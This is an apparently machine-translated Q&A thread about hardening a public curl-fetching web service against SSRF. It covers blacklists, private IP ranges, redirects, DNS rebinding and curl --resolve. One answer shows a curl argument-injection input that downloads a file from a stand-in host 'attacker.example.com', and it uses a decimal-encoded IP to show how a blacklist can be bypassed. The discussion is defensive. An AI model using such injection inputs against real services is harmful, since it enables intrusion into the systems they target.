Una richiesta di arricciatura a un URL arbitrario è sufficientemente sicura?

2

Questo è un seguito di un altro argomento ( La richiesta di arricciatura non filtrata di un sito Web è vulnerabile? ) su cui sto facendo qualche ricerca privata.

Dato:

A publicly reachable webservice that accepts any url and performs a curl get request on it. The service operates without authentication.

L'argomento collegato già afferma che l'accesso non filtrato è un problema di sicurezza. Ma qualcosa su questo argomento affiora periodicamente i miei pensieri e mi ci è voluto un po 'per riflettere: un servizio simile può essere sufficientemente sicuro contro SSRF e allo stesso modo?

Passi ovvi:

  • cURL è potente, limita gli schemi consentiti a http (s) e ftp (risolve i problemi file, gopher, dict, ecc. )
  • impedisce l'accesso all'intero loopback: localhost , 127.0.0.1-127.0.0.255 (ero totalmente inconsapevole che l'intera rete di 127.x.x.x punta alla tua macchina 0_o)
  • impedisce l'accesso a 0.0.0.0
  • non consentire l'IP di trasmissione 255.255.255.255 (anche se è improbabile che qualcosa serva qualcosa sugli schemi consentiti sopra)
  • prevenire gli IP privati per evitare l'accesso alle reti interne (impersonalizzazione di un server, che fa parte della rete privata?) - > 10.0.0.0/8, 172.16.0.0/12 e 192.168.0.0/16 (grazie wiki )

Ma c'è di più, giusto?

  • se cURL è configurato per seguire i reindirizzamenti, il reindirizzamento deve essere convalidato allo stesso modo dell'IP originale, poiché la falsificazione di un reindirizzamento è banale
  • IPv6: tutto per il simpatico vecchio spazio indirizzo IPv4 deve essere rifatto anche lì, giusto?
  • Ci sono alcune porte da filtrare? Ricorda che gli schemi sono limitati a http (s) e ftp. Questo potrebbe ancora essere tecnicamente uno scanner di porte ma non è dannoso ma ottenere un sito web dalla porta 675 potrebbe essere ok.
  • Previene gli URL remoti DoS: implementa una sorta di token (token CSRF allo stesso modo), introduce timeout tra più richieste, ad esempio 1 secondo o esclude gli IP che continuano a martellare. (Ovviamente non risolve i DDoS, ma prevenire DDoS è probabilmente al di fuori dell'ambito qui)

Un'ultima cosa che non riesco a capire completamente:

Che cos'è con DNS ? È possibile registrare una voce DNS per puntare a localhost o reti private?

Sulla mia macchina posso tecnicamente eseguire un GET di http://my.box e ottenere il mio router. Ora, come può qualcuno mitigare tale rischio?

Esegue una soluzione di nslookup ? Se ottengo un IP, convalidare l'IP. In caso contrario, potrebbe essere qualsiasi cosa, negare. Continuo a dimenticare cosa fa il mio NAS, così posso raggiungerlo tramite il nome host nella mia rete locale, ma essere paranoico è probabilmente un buon modo qui.

    
posta Samuel 17.02.2016 - 14:27
fonte

3 risposte

3

SSRF può essere mitigato solo con una white list (regolarmente aggiornata) di host o URL che sono noti per essere sicuri, cioè che non hanno effetti collaterali che dipendono dall'IP sorgente e dove l'accesso a un URL non sarà causare una segnalazione di abuso, una suite legale o simili contro il tuo sito (ad esempio perché qualcuno cerca di trovare pagine nascoste su un sito o fare minacce di bombe).

Una lista nera ti aiuterà ma non è sufficiente.

    
risposta data 17.02.2016 - 18:37
fonte
2

Per aggiungere a ciò che ha detto Steffen e fornire alcuni esempi, si vuole fare una whitelist se possibile. La lista nera, come quello che stai proponendo, può essere aggirata.

Ad esempio:

http://2915201827/ - Questo è un sito web valido. Sai quale sito web è?

Inoltre, lo strumento come descritto è un proxy. Senza la limitazione, qualcuno potrebbe utilizzare questo strumento per eseguire attacchi contro un'altra applicazione e il tuo sito sarebbe quello con il toro delle forze dell'ordine. I tribunali statunitensi non sono stati molto gentili con il "ma è stato aperto il wifi, chiunque avrebbe potuto farlo" scusa, quindi c'è un precedente per questo.

Devi essere molto attento a come invochi cURL e, idealmente, usa una libreria invece dello strumento da riga di comando. Ad esempio:

runtime.exec("curl " + url);

in Java non consentirebbe a un utente di inserire questo: ; ls blah/ , ma consentirebbe a un utente di inserire questo:

-O /tmp/asdf http://attacker.example.com/hahaipwn.txt .

Parole finali:

C'è molto da considerare con un servizio del genere.

    
risposta data 18.02.2016 - 03:44
fonte
2

if cURL is configured to follow redirects, the redirect must be validated the same way as the original IP, since forging a redirect is trivial

Sì. Sarebbe meglio non ottenere il ricciolo per seguire i reindirizzamenti e invece controllare manualmente l'intestazione Location quando viene rilevato un reindirizzamento.

IPv6: Everything for the nice old IPv4 address space must be redone there too, right?

Sì, se stai supportando IPv6.

Are there some ports to filter by? Remember schemes are restricted to http(s) and ftp. This may still technically be a port scanner but not necessary malicious but getting a website from port 675 might be ok. Prevent DoS remote urls: Implement some sort of token (CSRF token alike), introduce timeouts between multiple requests, say 1 second or ban IPs which keep hammering. (Does of course not solve DDoS, but preventing DDoS is probably outside of the scope here)

Dipende dalla funzionalità che stai cercando di supportare. È possibile rilevare più tentativi dallo stesso IP o dallo stesso IP e la velocità li limita, eventualmente mostrando loro un CAPTCHA dopo un po '.

One last thing I cannot fully get my head around:

What's with DNS? Is it possible to register a DNS entry to point to localhost or private networks?

Sì. È perfettamente possibile puntare un record A a un indirizzo privato. Inoltre, è possibile puntare un dominio non correlato a un indirizzo privato e quindi puntare un CNAME su quel dominio, provocando in effetti la risoluzione all'indirizzo privato.

On my machine I technically can perform a GET of http://my.box and get my router. Now how can somebody mitigate that risk?

Dovresti isolare la macchina che serve le richieste alla propria sottorete. Ciò avrebbe solo accesso a un gateway Internet configurato per indirizzare solo il traffico verso l'Internet pubblico.

Is performing a nslookup a solution? If I get an IP, validate the IP. If not, it may be anything, deny. I keep forgetting what my NAS does so I can reach it via host name in my local network, but being paranoid is probably a good way here.

Sì, a patto che dici esplicitamente a curl di seguire quell'IP.

È necessario che la ricerca e la richiesta di arricciatura siano unificate. In caso contrario, un utente malintenzionato potrebbe impostare un TTL molto basso (Time To Live) e aggiornare il record DNS prima dell'esecuzione di Arricchimento. Altrimenti si verificherebbero anche problemi con il caching delle voci.

Ad esempio, il parametro --resolve curl consente di specificare il nome host e la porta separatamente in modo da potersi connettere all'IP verificato in precedenza, ma rendere l'arricciatura come se l'avessi indicato come nome host completo. Dalla pagina man:

--resolve Provide a custom address for a specific host and port pair. Using this, you can make the curl requests(s) use a specified address and prevent the otherwise normally resolved address to be used. Consider it a sort of /etc/hosts alternative provided on the command line. The port number should be the number used for the specific protocol the host will be used for. It means you need several entries if you want to provide address for the same host but different ports.

This option can be used many times to add many host names to resolve.

(Added in 7.21.3)

es. curl --resolve www.example.com:443:203.0.113.24 https://www.example.com/

Ovviamente tutto quanto sopra non impedisce che i rapporti di abuso vengano archiviati contro di te da host di destinazione. Ad esempio, esiste sempre il rischio che qualcuno possa utilizzare il proprio servizio come proxy per sfruttare un altro server (ad esempio tramite SQL injection). Sebbene non sia infallibile, è necessario creare e conservare registri di controllo completi per l'utilizzo del proprio servizio.

    
risposta data 18.02.2016 - 10:57
fonte

Leggi altre domande sui tag